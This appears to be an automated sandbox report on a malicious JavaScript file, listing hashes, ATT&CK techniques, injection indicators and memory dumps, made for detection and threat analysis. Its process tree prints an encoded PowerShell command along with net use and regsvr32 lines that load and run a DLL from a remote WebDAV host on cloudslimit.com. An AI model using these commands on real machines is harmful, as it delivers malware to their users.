4a207e0688b62fcbc1399f15e4da06c0fdfc60c12bdccc133e035574890f7ec3

Analysis

max time kernel
120s
max time network
121s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
21/08/2024, 15:26

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General

Target

4a207e0688b62fcbc1399f15e4da06c0fdfc60c12bdccc133e035574890f7ec3.js
Size

12KB
MD5

0aeee8738a476deb8b7f84059ac5df70
SHA1

9822d4d33df8b719bde23e0b6b2b6c44564fc9db
SHA256

4a207e0688b62fcbc1399f15e4da06c0fdfc60c12bdccc133e035574890f7ec3
SHA512

1b17d706bddefc918614afad4234e743c60df13de1133f001443a31cf4cec54de650117fd298d2ca03c55136789623456f86a9f15d362d50af446c70bce531a5
SSDEEP

96:/K+VNmAmU4ekN+f424+i4/DFWPU646r4AbsDc4Gwwrr4z8Im:/KmsAHBTfjUgDFWs6ZrrbsYBvr+85

Score

6^/10

defense_evasion execution

Malware Config

Signatures

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2344	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2344	powershell.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 3020 wrote to memory of 2344	3020	wscript.exe	31
PID 3020 wrote to memory of 2344	3020	wscript.exe	31
PID 3020 wrote to memory of 2344	3020	wscript.exe	31
PID 2344 wrote to memory of 2204	2344	powershell.exe	33
PID 2344 wrote to memory of 2204	2344	powershell.exe	33
PID 2344 wrote to memory of 2204	2344	powershell.exe	33
PID 2344 wrote to memory of 2776	2344	powershell.exe	34
PID 2344 wrote to memory of 2776	2344	powershell.exe	34
PID 2344 wrote to memory of 2776	2344	powershell.exe	34
PID 2344 wrote to memory of 2776	2344	powershell.exe	34
PID 2344 wrote to memory of 2776	2344	powershell.exe	34

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\4a207e0688b62fcbc1399f15e4da06c0fdfc60c12bdccc133e035574890f7ec3.js
1⤵
- Suspicious use of WriteProcessMemory
PID:3020
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXABjAGwAbwB1AGQAcwBsAGkAbQBpAHQALgBjAG8AbQBAADgAOAA4ADgAXABkAGEAdgB3AHcAdwByAG8AbwB0AFwAIAA7ACAAcgBlAGcAcwB2AHIAMwAyACAALwBzACAAXABcAGMAbABvAHUAZABzAGwAaQBtAGkAdAAuAGMAbwBtAEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAAyADQANgAwADkAMwAwADcAMwAzADIAOAA5ADYAMQAuAGQAbABsAA==
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2344
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\cloudslimit.com@8888\davwwwroot\
    3⤵
    PID:2204
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\cloudslimit.com@8888\davwwwroot\246093073328961.dll
    3⤵
    PID:2776

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2344-4-0x000007FEF593E000-0x000007FEF593F000-memory.dmp

Filesize
4KB

Download
memory/2344-5-0x000000001B570000-0x000000001B852000-memory.dmp

Filesize
2.9MB

Download
memory/2344-7-0x000007FEF5680000-0x000007FEF601D000-memory.dmp

Filesize
9.6MB

Download
memory/2344-6-0x0000000002320000-0x0000000002328000-memory.dmp

Filesize
32KB

Download
memory/2344-8-0x000007FEF5680000-0x000007FEF601D000-memory.dmp

Filesize
9.6MB

Download
memory/2344-9-0x000007FEF5680000-0x000007FEF601D000-memory.dmp

Filesize
9.6MB

Download
memory/2344-10-0x000007FEF5680000-0x000007FEF601D000-memory.dmp

Filesize
9.6MB

Download
memory/2344-11-0x000007FEF5680000-0x000007FEF601D000-memory.dmp

Filesize
9.6MB

Download
memory/2344-12-0x000007FEF5680000-0x000007FEF601D000-memory.dmp

Filesize
9.6MB

Download